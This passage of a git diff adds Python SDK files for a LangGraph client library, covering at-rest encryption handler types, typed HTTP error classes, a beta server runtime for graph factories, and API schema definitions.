types.BlobEncryptor | None = None + self._blob_decryptor: types.BlobDecryptor | None = None + self._json_encryptor: types.JsonEncryptor | None = None + self._json_decryptor: types.JsonDecryptor | None = None + self._context_handler: types.ContextHandler | None = None + + def context(self, fn: types.ContextHandler) -> types.ContextHandler: + """Register a context handler to derive encryption context from auth. + + The handler receives the authenticated user and current EncryptionContext, + and returns a dict that becomes ctx.metadata for encrypt/decrypt handlers. + + This allows encryption context to be derived from JWT claims or other + auth-derived data instead of requiring a separate X-Encryption-Context header. + + Note: The context handler is called once per request in middleware, + so ctx.model and ctx.field will be None in the handler. + + Example: + ```python + from langgraph_sdk import Encryption, EncryptionContext + from starlette.authentication import BaseUser + + encryption = Encryption() + + @encryption.context + async def get_context(user: BaseUser, ctx: EncryptionContext) -> dict: + # Derive encryption context from authenticated user + return { + **ctx.metadata, # preserve X-Encryption-Context header if present + "tenant_id": user.tenant_id, + } + ``` + + Args: + fn: The context handler function + + Returns: + The registered handler function + """ + self._context_handler = fn + return fn + + def get_json_encryptor( + self, + _model: str | None = None, # kept for langgraph-api compat + ) -> types.JsonEncryptor | None: + """Get the JSON encryptor. + + Args: + _model: Ignored. Kept for backwards compatibility with langgraph-api + which passes model_type to this method. + + Returns: + The JSON encryptor, or None if not registered. + """ + return self._json_encryptor + + def get_json_decryptor( + self, + _model: str | None = None, # kept for langgraph-api compat + ) -> types.JsonDecryptor | None: + """Get the JSON decryptor. + + Args: + _model: Ignored. Kept for backwards compatibility with langgraph-api + which passes model_type to this method. + + Returns: + The JSON decryptor, or None if not registered. + """ + return self._json_decryptor + + def __repr__(self) -> str: + handlers = [] + if self._blob_encryptor: + handlers.append("blob_encryptor") + if self._blob_decryptor: + handlers.append("blob_decryptor") + if self._json_encryptor: + handlers.append("json_encryptor") + if self._json_decryptor: + handlers.append("json_decryptor") + if self._context_handler: + handlers.append("context_handler") + return f"Encryption(handlers=[{', '.join(handlers)}])" diff --git a/libs/sdk-py/langgraph_sdk/encryption/types.py b/libs/sdk-py/langgraph_sdk/encryption/types.py new file mode 100644 index 0000000..92e65a8 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/encryption/types.py @@ -0,0 +1,147 @@ +"""Encryption and decryption types for LangGraph. + +This module defines the core types used for custom at-rest encryption +in LangGraph. It includes context types and typed dictionaries for +encryption operations. +""" + +from __future__ import annotations + +import typing +from collections.abc import Awaitable, Callable + +Json = dict[str, typing.Any] +"""JSON-serializable dictionary type for structured data encryption.""" + + +class EncryptionContext: + """Context passed to encryption/decryption handlers. + + Contains arbitrary non-secret key-values that will be stored on encrypt. + These key-values are intended to be sent to an external service that + manages keys and handles the actual encryption and decryption of data. + + Attributes: + model: The model type being encrypted (e.g., "assistant", "thread", "run", "checkpoint") + field: The specific field being encrypted (e.g., "metadata", "context", "kwargs", "values") + metadata: Additional context metadata that can be used for encryption decisions + """ + + __slots__ = ("field", "metadata", "model") + + def __init__( + self, + model: str | None = None, + metadata: dict[str, typing.Any] | None = None, + field: str | None = None, + ): + self.model = model + self.field = field + self.metadata = metadata or {} + + def __repr__(self) -> str: + return f"EncryptionContext(model={self.model!r}, field={self.field!r}, metadata={self.metadata!r})" + + +BlobEncryptor = Callable[[EncryptionContext, bytes], Awaitable[bytes]] +"""Handler for encrypting opaque blob data like checkpoints. + +Note: Must be an async function. Encryption typically involves I/O operations +(calling external KMS services), which should be async. + +Args: + ctx: Encryption context with model type and metadata + blob: The raw bytes to encrypt + +Returns: + Awaitable that resolves to encrypted bytes +""" + +BlobDecryptor = Callable[[EncryptionContext, bytes], Awaitable[bytes]] +"""Handler for decrypting opaque blob data like checkpoints. + +Note: Must be an async function. Decryption typically involves I/O operations +(calling external KMS services), which should be async. + +Args: + ctx: Encryption context with model type and metadata + blob: The encrypted bytes to decrypt + +Returns: + Awaitable that resolves to decrypted bytes +""" + +JsonEncryptor = Callable[[EncryptionContext, Json], Awaitable[Json]] +"""Handler for encrypting structured JSON data. + +Note: Must be an async function. Encryption typically involves I/O operations +(calling external KMS services), which should be async. + +Used for encrypting structured data like metadata, context, kwargs, values, +and other JSON-serializable fields across different model types. + +Maps plaintext fields to encrypted fields. A practical approach: +- Keep "owner" field unencrypted for search/filtering +- Encrypt VALUES (not keys) for fields with specific prefix (e.g., "my.customer.org/") +- Pass through all other fields unencrypted + +Example: + Input: {"owner": "user123", "my.customer.org/email": "john@example.com", "tenant_id": "t-456"} + Output: {"owner": "user123", "my.customer.org/email": "ENCRYPTED", "tenant_id": "t-456"} + +Note: Encrypted field VALUES cannot be reliably searched, as most real-world +encryption implementations use nonces (non-deterministic encryption). +Only unencrypted fields can be used in search queries. + +Args: + ctx: Encryption context with model type, field name, and metadata + data: The plaintext JSON dictionary + +Returns: + Awaitable that resolves to encrypted JSON dictionary +""" + +JsonDecryptor = Callable[[EncryptionContext, Json], Awaitable[Json]] +"""Handler for decrypting structured JSON data. + +Note: Must be an async function. Decryption typically involves I/O operations +(calling external KMS services), which should be async. + +Inverse of JsonEncryptor. Must be able to decrypt data that +was encrypted by the corresponding encryptor. + +Args: + ctx: Encryption context with model type, field name, and metadata + data: The encrypted JSON dictionary + +Returns: + Awaitable that resolves to decrypted JSON dictionary +""" + +if typing.TYPE_CHECKING: + from starlette.authentication import BaseUser + +ContextHandler = Callable[ + ["BaseUser", EncryptionContext], Awaitable[dict[str, typing.Any]] +] +"""Handler for deriving encryption context from authenticated user info. + +Note: Must be an async function as it may involve I/O operations. + +The context handler is called once per request in middleware (after auth), +allowing encryption context to be derived from JWT claims, user properties, +or other auth-derived data instead of requiring a separate X-Encryption-Context header. + +The return value becomes ctx.metadata for subsequent encrypt/decrypt operations +and is persisted with encrypted data for later decryption. + +Note: ctx.model and ctx.field will be None in context handlers since +the handler runs once per request before any specific model/field is known. + +Args: + user: The authenticated user (from Starlette's AuthenticationMiddleware) + ctx: Current encryption context with metadata from X-Encryption-Context header + +Returns: + Awaitable that resolves to dict that becomes the new ctx.metadata +""" diff --git a/libs/sdk-py/langgraph_sdk/errors.py b/libs/sdk-py/langgraph_sdk/errors.py new file mode 100644 index 0000000..b2dfade --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/errors.py @@ -0,0 +1,231 @@ +from __future__ import annotations + +import logging +import sys +from typing import Any, Literal, cast + +import httpx +import orjson + +logger = logging.getLogger(__name__) + + +class LangGraphError(Exception): + pass + + +class APIError(httpx.HTTPStatusError, LangGraphError): + message: str + request: httpx.Request + + body: object | None + code: str | None + param: str | None + type: str | None + + def __init__( + self, + message: str, + response_or_request: httpx.Response | httpx.Request, + *, + body: object | None, + ) -> None: + if isinstance(response_or_request, httpx.Response): + req = response_or_request.request + response = response_or_request + else: + req = response_or_request + response = None + + httpx.HTTPStatusError.__init__(self, message, request=req, response=response) # ty: ignore[invalid-argument-type] + LangGraphError.__init__(self, message) + + self.request = req + self.message = message + self.body = body + + if isinstance(body, dict): + b = cast("dict[str, Any]", body) + # Best-effort extraction of common fields if present + code_val = b.get("code") + self.code = code_val if isinstance(code_val, str) else None + param_val = b.get("param") + self.param = param_val if isinstance(param_val, str) else None + t = b.get("type") + self.type = t if isinstance(t, str) else None + else: + self.code = None + self.param = None + self.type = None + + +class APIResponseValidationError(APIError): + response: httpx.Response + status_code: int + + def __init__( + self, + response: httpx.Response, + body: object | None, + *, + message: str | None = None, + ) -> None: + super().__init__( + message or "Data returned by API invalid for expected schema.", + response, + body=body, + ) + self.response = response + self.status_code = response.status_code + + +class APIStatusError(APIError): + response: httpx.Response + status_code: int + request_id: str | None + + def __init__( + self, message: str, *, response: httpx.Response, body: object | None + ) -> None: + super().__init__(message, response, body=body) + self.response = response + self.status_code = response.status_code + self.request_id = response.headers.get("x-request-id") + + +class APIConnectionError(APIError): + def __init__( + self, *, message: str = "Connection error.", request: httpx.Request + ) -> None: + super().__init__(message, response_or_request=request, body=None) + + +class APITimeoutError(APIConnectionError): + def __init__(self, request: httpx.Request) -> None: + super().__init__(message="Request timed out.", request=request) + + +class BadRequestError(APIStatusError): + status_code: Literal[400] = 400 + + +class AuthenticationError(APIStatusError): + status_code: Literal[401] = 401 + + +class PermissionDeniedError(APIStatusError): + status_code: Literal[403] = 403 + + +class NotFoundError(APIStatusError): + status_code: Literal[404] = 404 + + +class ConflictError(APIStatusError): + status_code: Literal[409] = 409 + + +class UnprocessableEntityError(APIStatusError): + status_code: Literal[422] = 422 + + +class RateLimitError(APIStatusError): + status_code: Literal[429] = 429 + + +class InternalServerError(APIStatusError): + pass + + +def _extract_error_message(body: object | None, fallback: str) -> str: + if isinstance(body, dict): + b = cast("dict[str, Any]", body) + for key in ("message", "detail", "error"): + val = b.get(key) + if isinstance(val, str) and val: + return val + # Sometimes errors are structured like {"error": {"message": "..."}} + err = b.get("error") + if isinstance(err, dict): + e = cast("dict[str, Any]", err) + for key in ("message", "detail"): + val = e.get(key) + if isinstance(val, str) and val: + return val + return fallback + + +async def _adecode_error_body(r: httpx.Response) -> object | None: + try: + data = await r.aread() + except Exception: + return None + if not data: + return None + try: + return orjson.loads(data) + except Exception: + try: + return data.decode() + except Exception: + return None + + +def _decode_error_body(r: httpx.Response) -> object | None: + try: + data = r.read() + except Exception: + return None + if not data: + return None + try: + return orjson.loads(data) + except Exception: + try: + return data.decode() + except Exception: + return None + + +def _map_status_error(response: httpx.Response, body: object | None) -> APIStatusError: + status = response.status_code + reason = response.reason_phrase or "HTTP Error" + message = _extract_error_message(body, f"{status} {reason}") + if status == 400: + return BadRequestError(message, response=response, body=body) + if status == 401: + return AuthenticationError(message, response=response, body=body) + if status == 403: + return PermissionDeniedError(message, response=response, body=body) + if status == 404: + return NotFoundError(message, response=response, body=body) + if status == 409: + return ConflictError(message, response=response, body=body) + if status == 422: + return UnprocessableEntityError(message, response=response, body=body) + if status == 429: + return RateLimitError(message, response=response, body=body) + if status >= 500: + return InternalServerError(message, response=response, body=body) + return APIStatusError(message, response=response, body=body) + + +async def _araise_for_status_typed(r: httpx.Response) -> None: + if r.status_code < 400: + return + body = await _adecode_error_body(r) + err = _map_status_error(r, body) + # Log for older Python versions without Exception notes + if not (sys.version_info >= (3, 11)): + logger.error(f"Error from langgraph-api: {getattr(err, 'message', '')}") + raise err + + +def _raise_for_status_typed(r: httpx.Response) -> None: + if r.status_code < 400: + return + body = _decode_error_body(r) + err = _map_status_error(r, body) + if not (sys.version_info >= (3, 11)): + logger.error(f"Error from langgraph-api: {getattr(err, 'message', '')}") + raise err diff --git a/libs/sdk-py/langgraph_sdk/py.typed b/libs/sdk-py/langgraph_sdk/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/sdk-py/langgraph_sdk/runtime.py b/libs/sdk-py/langgraph_sdk/runtime.py new file mode 100644 index 0000000..04704c0 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/runtime.py @@ -0,0 +1,238 @@ +from __future__ import annotations + +import sys +from dataclasses import dataclass, field +from typing import TYPE_CHECKING, Generic, Literal, TypeVar + +if sys.version_info >= (3, 13): + ContextT = TypeVar("ContextT", default=None) +else: + ContextT = TypeVar("ContextT") + +if sys.version_info >= (3, 12): + from typing import TypeAliasType +else: + from typing_extensions import TypeAliasType + +from langgraph_sdk.auth.types import BaseUser + +if TYPE_CHECKING: + from langgraph.store.base import BaseStore + +__all__ = [ + "AccessContext", + "ServerRuntime", +] + + +AccessContext = Literal[ + "threads.create_run", + "threads.update", + "threads.read", + "assistants.read", +] + + +@dataclass(kw_only=True, slots=True, frozen=True) +class _ServerRuntimeBase(Generic[ContextT]): + """Base for server runtime variants. + + !!! warning "Beta" + This API is in beta and may change in future releases. + """ + + access_context: AccessContext + """Why the graph factory is being called. + + The server accesses graphs in several contexts beyond just executing runs. + For example, it calls the graph factory to retrieve schemas, render the + graph structure, or read state history. This field tells you which + operation triggered the current call. + + In all contexts, the returned graph must have the same topology (nodes, + edges, state schema) as the graph used for execution. Use + `.execution_runtime` to conditionally set up expensive *resources* + (MCP servers, DB connections) without changing the graph structure. + + Write contexts (graph is used to write state): + + - `threads.create_run` (`graph.astream`) — full graph execution + (nodes + edges). `context` is available (use `.execution_runtime` + to narrow). + - `threads.update` (`graph.aupdate_state`) — does NOT execute node + functions or evaluate edges. Only runs the node's channel writers + to apply the provided values to state channels as if the specified + node had returned them. Reducers are applied and channel triggers + are set, so the next `invoke`/`stream` call will evaluate edges + from that node to determine the next step. Does not need access to + external resources, but a different graph topology will apply + writes to the wrong channels. + + Read state contexts (graph used to format the returned + `StateSnapshot`). A different topology may cause `get_state` to + report incorrect pending tasks. Note that `useStream` uses the state + history endpoint to render interrupts and support branching: + + - `threads.read` (`graph.aget_state`, `graph.aget_state_history`) — + the graph structure informs which tasks to include in the prepared + view of the latest checkpoint and how to process subgraphs. + + Introspection contexts (graph structure only, no execution). + A different topology may cause schemas and visualizations to not + match actual execution: + + - `assistants.read` (`graph.aget_graph`, `graph.aget_subgraphs`, + `graph.aget_schemas`) — return the graph definition, subgraph + definitions, and input/output/config schemas. Used for + visualization in the studio UI and to populate schemas for MCP, + A2A, and other protocol integrations. + """ + + user: BaseUser | None = field(default=None) + """The authenticated user, or `None` if no custom auth is configured.""" + + store: BaseStore + """Store for the graph run, enabling persistence and memory.""" + + @property + def execution_runtime(self) -> _ExecutionRuntime[ContextT] | None: + """Narrow to the execution runtime, or `None` if not in an execution context. + + When the server calls the graph factory for `threads.create_run`, the returned + object provides access to `context` (typed by the graph's + `context_schema`). For all other access contexts (introspection, state + reads, state updates), this returns `None`. + + Use this to conditionally set up expensive resources (MCP tool servers, + database connections, etc.) that are only needed during execution: + + ```python + import contextlib + from langgraph_sdk.runtime import ServerRuntime + + @contextlib.asynccontextmanager + async def my_factory(runtime: ServerRuntime[MyCtx]): + if ert := runtime.execution_runtime: + # Only connect to MCP servers when actually executing a run. + # Introspection calls (get_schema, get_graph, ...) skip this. + mcp_tools = await connect_mcp(ert.context.mcp_endpoint) + yield create_agent(model, tools=mcp_tools) + await disconnect_mcp() + else: + yield create_agent(model, tools=[]) + ``` + """ + if isinstance(self, _ExecutionRuntime): + return self + return None + + def ensure_user(self) -> BaseUser: + """Return the authenticated user, or raise if not available. + + When custom auth is configured, `user` is set for all access contexts + (the factory is only called from HTTP handlers where the auth + middleware has already run). This method raises only when no custom + auth is configured. + + Raises: + PermissionError: If no user is authenticated. + """ + if self.user is None: + raise PermissionError( + f"No authenticated user available in access_context='{self.access_context}'. " + "Ensure custom auth is configured for the server." + ) + return self.user + + +@dataclass(kw_only=True, slots=True, frozen=True) +class _ExecutionRuntime(_ServerRuntimeBase[ContextT], Generic[ContextT]): + """Runtime for `threads.create_run` — the graph will be fully executed. + + Access this via `.execution_runtime` on `ServerRuntime`. Do not + construct directly. + + !!! warning "Beta" + This API is in beta and may change in future releases. + """ + + context: ContextT = field(default=None) # ty: ignore[invalid-assignment] + """The graph run context, typed by the graph's `context_schema`. + + Only available during `threads.create_run`. + """ + + +@dataclass(kw_only=True, slots=True, frozen=True) +class _ReadRuntime(_ServerRuntimeBase[ContextT], Generic[ContextT]): + """Runtime for non-execution access contexts. + + Used for introspection (`assistants.read`), state operations + (`threads.read`), and state updates (`threads.update`). + No `context` is available. + + !!! warning "Beta" + This API is in beta and may change in future releases. + """ + + +ServerRuntime = TypeAliasType( + "ServerRuntime", + _ExecutionRuntime[ContextT] | _ReadRuntime[ContextT], + type_params=(ContextT,), +) +"""Runtime context passed to graph builder factories within the Agent Server. + +Requires version 0.7.30 or later of the agent server. + +The server calls your graph factory in multiple contexts: executing runs, +reading state, fetching schemas, and more. `ServerRuntime` provides +the authenticated user, store, and access context for every call. Use +`.execution_runtime` to narrow to the execution variant and access +`context`. + +Example — conditionally initialize MCP tools only during execution: + +```python +import contextlib +from dataclasses import dataclass + +from langchain.agents import create_agent +from langgraph_sdk.runtime import ServerRuntime +from my_agent import connect_mcp, disconnect_mcp + +@dataclass +class MyCtx: + mcp_endpoint: str + +_readonly_agent = create_agent("anthropic:claude-3-5-haiku", tools=[]) + +@contextlib.asynccontextmanager +async def my_factory(runtime: ServerRuntime[MyCtx]): + if ert := runtime.execution_runtime: + # Only connect to MCP servers for actual runs. + # Schema / graph introspection calls skip this. + user_id = runtime.ensure_user().identity + mcp_tools = await connect_mcp(ert.context.mcp_endpoint, user_id) + yield create_agent("anthropic:claude-3-5-haiku", tools=mcp_tools) + await disconnect_mcp() + else: + yield _readonly_agent +``` + +Example — simple factory that ignores context: + +```python +from langgraph_sdk.runtime import ServerRuntime + +def build_graph(user: BaseUser) -> CompiledGraph: + ... + +async def my_factory(runtime: ServerRuntime) -> CompiledGraph: + # No generic needed if you don't use context. + return build_graph(runtime.ensure_user()) +``` + +!!! warning "Beta" + This API is in beta and may change in future releases. +""" diff --git a/libs/sdk-py/langgraph_sdk/schema.py b/libs/sdk-py/langgraph_sdk/schema.py new file mode 100644 index 0000000..16b197d --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/schema.py @@ -0,0 +1,975 @@ +"""Data models for interacting with the LangGraph API.""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from dataclasses import Field +from datetime import datetime +from typing import ( + Any, + ClassVar, + Literal, + NamedTuple, + Protocol, + TypeAlias, + Union, +) + +from typing_extensions import NotRequired, TypedDict + +Json = dict[str, Any] | None +"""Represents a JSON-like structure, which can be None or a dictionary with string keys and any values.""" + +RunStatus = Literal["pending", "running", "error", "success", "timeout", "interrupted"] +""" +Represents the status of a run: +- "pending": The run is waiting to start. +- "running": The run is currently executing. +- "error": The run encountered an error and stopped. +- "success": The run completed successfully. +- "timeout": The run exceeded its time limit. +- "interrupted": The run was manually stopped or interrupted. +""" + +ThreadStatus = Literal["idle", "busy", "interrupted", "error"] +""" +Represents the status of a thread: +- "idle": The thread is not currently processing any task. +- "busy": The thread is actively processing a task. +- "interrupted": The thread's execution was interrupted. +- "error": An exception occurred during task processing. +""" + +ThreadStreamMode = Literal["run_modes", "lifecycle", "state_update"] +""" +Defines the mode of streaming: +- "run_modes": Stream the same events as the runs on thread, as well as run_done events. +- "lifecycle": Stream only run start/end events. +- "state_update": Stream state updates on the thread. +""" + +StreamMode = Literal[ + "values", + "messages", + "updates", + "events", + "tasks", + "checkpoints", + "debug", + "custom", + "messages-tuple", +] +""" +Defines the mode of streaming: +- "values": Stream only the values. +- "messages": Stream complete messages. +- "updates": Stream updates to the state. +- "events": Stream events occurring during execution. +- "checkpoints": Stream checkpoints as they are created. +- "tasks": Stream task start and finish events. +- "debug": Stream detailed debug information. +- "custom": Stream custom events. +""" + +DisconnectMode = Literal["cancel", "continue"] +""" +Specifies behavior on disconnection: +- "cancel": Cancel the operation on disconnection. +- "continue": Continue the operation even if disconnected. +""" + +MultitaskStrategy = Literal["reject", "interrupt", "rollback", "enqueue"] +""" +Defines how to handle multiple tasks: +- "reject": Reject new tasks when busy. +- "interrupt": Interrupt current task for new ones. +- "rollback": Roll back current task and start new one. +- "enqueue": Queue new tasks for later execution. +""" + +OnConflictBehavior = Literal["raise", "do_nothing"] +""" +Specifies behavior on conflict: +- "raise": Raise an exception when a conflict occurs. +- "do_nothing": Ignore conflicts and proceed. +""" + +OnCompletionBehavior = Literal["delete", "keep"] +""" +Defines action after completion: +- "delete": Delete resources after completion. +- "keep": Retain resources after completion. +""" + +Durability = Literal["sync", "async", "exit"] +"""Durability mode for the graph execution. +- `"sync"`: Changes are persisted synchronously before the next step starts. +- `"async"`: Changes are persisted asynchronously while the next step executes. +- `"exit"`: Changes are persisted only when the graph exits.""" + + +class LangSmithTracing(TypedDict, total=False): + """Configuration for LangSmith tracing.""" + + project_name: str + """The LangSmith project name to trace to.""" + example_id: str + """The LangSmith example/dataset ID to associate with the trace.""" + + +All = Literal["*"] +"""Represents a wildcard or 'all' selector.""" + +IfNotExists = Literal["create", "reject"] +""" +Specifies behavior if the thread doesn't exist: +- "create": Create a new thread if it doesn't exist. +- "reject": Reject the operation if the thread doesn't exist. +""" + +PruneStrategy = Literal["delete", "keep_latest"] +""" +Strategy for pruning threads: +- "delete": Remove threads entirely. +- "keep_latest": Prune old checkpoints but keep threads and their latest state. +""" + +CancelAction = Literal["interrupt", "rollback"] +""" +Action to take when cancelling the run. +- "interrupt": Simply cancel the run. +- "rollback": Cancel the run. Then delete the run and associated checkpoints. +""" + +BulkCancelRunsStatus = Literal["pending", "running", "all"] +""" +Filter runs by status when bulk-cancelling: +- "pending": Cancel only pending runs. +- "running": Cancel only running runs. +- "all": Cancel all runs regardless of status. +""" + +AssistantSortBy = Literal[ + "assistant_id", "graph_id", "name", "created_at", "updated_at" +] +""" +The field to sort by. +""" + +ThreadSortBy = Literal[ + "thread_id", "status", "created_at", "updated_at", "state_updated_at" +] +""" +The field to sort by. +""" + +CronSortBy = Literal[ + "cron_id", + "assistant_id", + "thread_id", + "created_at", + "updated_at", + "next_run_date", + "end_time", +] +""" +The field to sort by. +""" + +SortOrder = Literal["asc", "desc"] +""" +The order to sort by. +""" + + +class Config(TypedDict, total=False): + """Configuration options for a call.""" + + tags: list[str] + """ + Tags for this call and any sub-calls (eg. a Chain calling an LLM). + You can use these to filter calls. + """ + + recursion_limit: int + """ + Maximum number of times a call can recurse. If not provided, defaults to 25. + """ + + configurable: dict[str, Any] + """ + Runtime values for attributes previously made configurable on this Runnable, + or sub-Runnables, through .configurable_fields() or .configurable_alternatives(). + Check .output_schema() for a description of the attributes that have been made + configurable. + """ + + +class Checkpoint(TypedDict): + """Represents a checkpoint in the execution process.""" + + thread_id: str + """Unique identifier for the thread associated with this checkpoint.""" + checkpoint_ns: str + """Namespace for the checkpoint; used internally to manage subgraph state.""" + checkpoint_id: str | None + """Optional unique identifier for the checkpoint itself.""" + checkpoint_map: dict[str, Any] | None + """Optional dictionary containing checkpoint-specific data.""" + + +class GraphSchema(TypedDict): + """Defines the structure and properties of a graph.""" + + graph_id: str + """The ID of the graph.""" + input_schema: dict | None + """The schema for the graph input. + Missing if unable to generate JSON schema from graph.""" + output_schema: dict | None + """The schema for the graph output. + Missing if unable to generate JSON schema from graph.""" + state_schema: dict | None + """The schema for the graph state. + Missing if unable to generate JSON schema from graph.""" + config_schema: dict | None + """The schema for the graph config. + Missing if unable to generate JSON schema from graph.""" + context_schema: dict | None + """The schema for the graph context. + Missing if unable to generate JSON schema from graph.""" + + +Subgraphs = dict[str, GraphSchema] + + +class AssistantBase(TypedDict): + """Base model for an assistant.""" + + assistant_id: str + """The ID of the assistant.""" + graph_id: str + """The ID of the graph.""" + config: Config + """The assistant config.""" + context: Context + """The static context of the assistant.""" + created_at: datetime + """The time the assistant was created.""" + metadata: Json + """The assistant metadata.""" + version: int + """The version of the assistant""" + name: str + """The name of the assistant""" + description: str | None + """The description of the assistant""" + + +class AssistantVersion(AssistantBase): + """Represents a specific version of an assistant.""" + + pass + + +class Assistant(AssistantBase): + """Represents an assistant with additional properties.""" + + updated_at: datetime + """The last time the assistant was updated.""" + + +class AssistantsSearchResponse(TypedDict): + """Paginated response for assistant search results.""" + + assistants: list[Assistant] + """The assistants returned for the current search page.""" + next: str | None + """Pagination cursor from the ``X-Pagination-Next`` response header.""" + + +class Interrupt(TypedDict): + """Represents an interruption in the execution flow.""" + + value: Any + """The value associated with the interrupt.""" + id: str + """The ID of the interrupt. Can be used to resume the interrupt.""" + + +class Thread(TypedDict): + """Represents a conversation thread.""" + + thread_id: str + """The ID of the thread.""" + created_at: datetime + """The time the thread was created.""" + updated_at: datetime + """The last time the thread was updated.""" + metadata: Json + """The thread metadata.""" + status: ThreadStatus + """The status of the thread, one of 'idle', 'busy', 'interrupted'.""" + values: Json + """The current state of the thread.""" + interrupts: dict[str, list[Interrupt]] + """Mapping of task ids to interrupts that were raised in that task.""" + extracted: NotRequired[dict[str, Any]] + """Extracted values from thread data. Only present when `extract` is used in search.""" + + +class ThreadTask(TypedDict): + """Represents a task within a thread.""" + + id: str + name: str + error: str | None + interrupts: list[Interrupt] + checkpoint: Checkpoint | None + state: ThreadState | None + result: dict[str, Any] | None + + +class ThreadState(TypedDict): + """Represents the state of a thread.""" + + values: list[dict] | dict[str, Any] + """The state values.""" + next: Sequence[str] + """The next nodes to execute. If empty, the thread is done until new input is + received.""" + checkpoint: Checkpoint + """The ID of the checkpoint.""" + metadata: Json + """Metadata for this state""" + created_at: str | None + """Timestamp of state creation""" + parent_checkpoint: Checkpoint | None + """The ID of the parent checkpoint. If missing, this is the root checkpoint.""" + tasks: Sequence[ThreadTask] + """Tasks to execute in this step. If already attempted, may contain an error.""" + interrupts: list[Interrupt] + """Interrupts which were thrown in this thread.""" + + +class ThreadUpdateStateResponse(TypedDict): + """Represents the response from updating a thread's state.""" + + checkpoint: Checkpoint + """Checkpoint of the latest state.""" + + +class Run(TypedDict): + """Represents a single execution run.""" + + run_id: str + """The ID of the run.""" + thread_id: str + """The ID of the thread.""" + assistant_id: str + """The assistant that was used for this run.""" + created_at: datetime + """The time the run was created.""" + updated_at: datetime + """The last time the run was updated.""" + status: RunStatus + """The status of the run. One of 'pending', 'running', "error", 'success', "timeout", "interrupted".""" + metadata: Json + """The run metadata.""" + multitask_strategy: MultitaskStrategy + """Strategy to handle concurrent runs on the same thread.""" + + +class Cron(TypedDict): + """Represents a scheduled task.""" + + cron_id: str + """The ID of the cron.""" + assistant_id: str + """The ID of the assistant.""" + thread_id: str | None + """The ID of the thread.""" + on_run_completed: OnCompletionBehavior | None + """What to do with the thread after the run completes. Only applicable for stateless crons.""" + end_time: datetime | None + """The end date to stop running the cron.""" + schedule: str + """The schedule to run, cron format.""" + timezone: str | None + """IANA timezone for the cron schedule (e.g. 'America/New_York'). Defaults to null, which is treated as UTC.""" + created_at: datetime + """The time the cron was created.""" + updated_at: datetime + """The last time the cron was updated.""" + payload: dict + """The run payload to use for creating new run.""" + user_id: str | None + """The user ID of the cron.""" + next_run_date: datetime | None + """The next run date of the cron.""" + metadata: dict + """The metadata of the cron.""" + enabled: bool + """Whether the cron is enabled.""" + + +class CronUpdate(TypedDict, total=False): + """Payload for updating a cron job. All fields are optional.""" + + schedule: str + """The cron schedule to execute this job on.""" + timezone: str + """IANA timezone for the cron schedule (e.g. 'America/New_York').""" + end_time: datetime + """The end date to stop running the cron.""" + input: Input + """The input to the graph.""" + metadata: dict[str, Any] + """Metadata to assign to the cron job runs.""" + config: Config + """The configuration for the assistant.""" + context: Context + """Static context added to the assistant.""" + webhook: str + """Webhook to call after LangGraph API call is done.""" + interrupt_before: All | list[str] + """Nodes to interrupt immediately before they get executed.""" + interrupt_after: All | list[str] + """Nodes to interrupt immediately after they get executed.""" + on_run_completed: OnCompletionBehavior + """What to do with the thread after the run completes.""" + enabled: bool + """Enable or disable the cron job.""" + stream_mode: StreamMode | list[StreamMode] + """The stream mode(s) to use.""" + stream_subgraphs: bool + """Whether to stream output from subgraphs.""" + stream_resumable: bool + """Whether to persist the stream chunks in order to resume the stream later.""" + durability: Durability + """Durability level for the run. Must be one of 'sync', 'async', or 'exit'.""" + + +# Select field aliases for client-side typing of `select` parameters. +# These mirror the server's allowed field sets. + +AssistantSelectField = Literal[ + "assistant_id", + "graph_id", + "name", + "description", + "config", + "context", + "created_at", + "updated_at", + "metadata", + "version", +] + +ThreadSelectField = Literal[ + "thread_id", + "created_at", + "updated_at", + "metadata", + "config", + "context", + "status", + "values", + "interrupts", +] + +RunSelectField = Literal[ + "run_id", + "thread_id", + "assistant_id", + "created_at", + "updated_at", + "status", + "metadata", + "kwargs", + "multitask_strategy", +] + +CronSelectField = Literal[ + "cron_id", + "assistant_id", + "thread_id", + "end_time", + "schedule", + "timezone", + "created_at", + "updated_at", + "user_id", + "payload", + "next_run_date", + "metadata", + "now", + "on_run_completed", + "enabled", +] + +PrimitiveData = str | int | float | bool | None + +QueryParamTypes = ( + Mapping[str, PrimitiveData | Sequence[PrimitiveData]] + | list[tuple[str, PrimitiveData]] + | tuple[tuple[str, PrimitiveData], ...] + | str + | bytes +) + + +class RunCreate(TypedDict): + """Defines the parameters for initiating a background run.""" + + thread_id: str | None + """The identifier of the thread to run. If not provided, the run is stateless.""" + assistant_id: str + """The identifier of the assistant to use for this run.""" + input: dict | None + """Initial input data for the run.""" + metadata: dict | None + """Additional metadata to associate with the run.""" + config: Config | None + """Configuration options for the run.""" + context: Context | None + """The static context of the run.""" + checkpoint_id: str | None + """The identifier of a checkpoint to resume from.""" + interrupt_before: list[str] | None + """List of node names to interrupt execution before.""" + interrupt_after: list[str] | None + """List of node names to interrupt execution after.""" + webhook: str | None + """URL to send webhook notifications about the run's progress.""" + multitask_strategy: MultitaskStrategy | None + """Strategy for handling concurrent runs on the same thread.""" + + +class Item(TypedDict): + """Represents a single document or data entry in the graph's Store. + + Items are used to store cross-thread memories. + """ + + namespace: list[str] + """The namespace of the item. A namespace is analogous to a document's directory.""" + key: str + """The unique identifier of the item within its namespace. + + In general, keys needn't be globally unique. + """ + value: dict[str, Any] + """The value stored in the item. This is the document itself.""" + created_at: datetime + """The timestamp when the item was created.""" + updated_at: datetime + """The timestamp when the item was last updated.""" + + +class ListNamespaceResponse(TypedDict): + """Response structure for listing namespaces.""" + + namespaces: list[list[str]] + """A list of namespace paths, where each path is a list of strings.""" + + +class SearchItem(Item, total=False): + """Item with an optional relevance score from search operations. + + Attributes: + score (Optional[float]): Relevance/similarity score. Included when + searching a compatible store with a natural language query. + """ + + score: float | None + + +class SearchItemsResponse(TypedDict): + """Response structure for searching items.""" + + items: list[SearchItem] + """A list of items matching the search criteria.""" + + +class StreamPart(NamedTuple): + """Represents a part of a stream response.""" + + event: str + """The type of event for this stream part.""" + data: dict + """The data payload associated with the event.""" + id: str | None = None + """The ID of the event.""" + + +StreamVersion = Literal["v1", "v2"] +"""Stream format version. + +- `"v1"`: Traditional format — raw SSE `StreamPart` 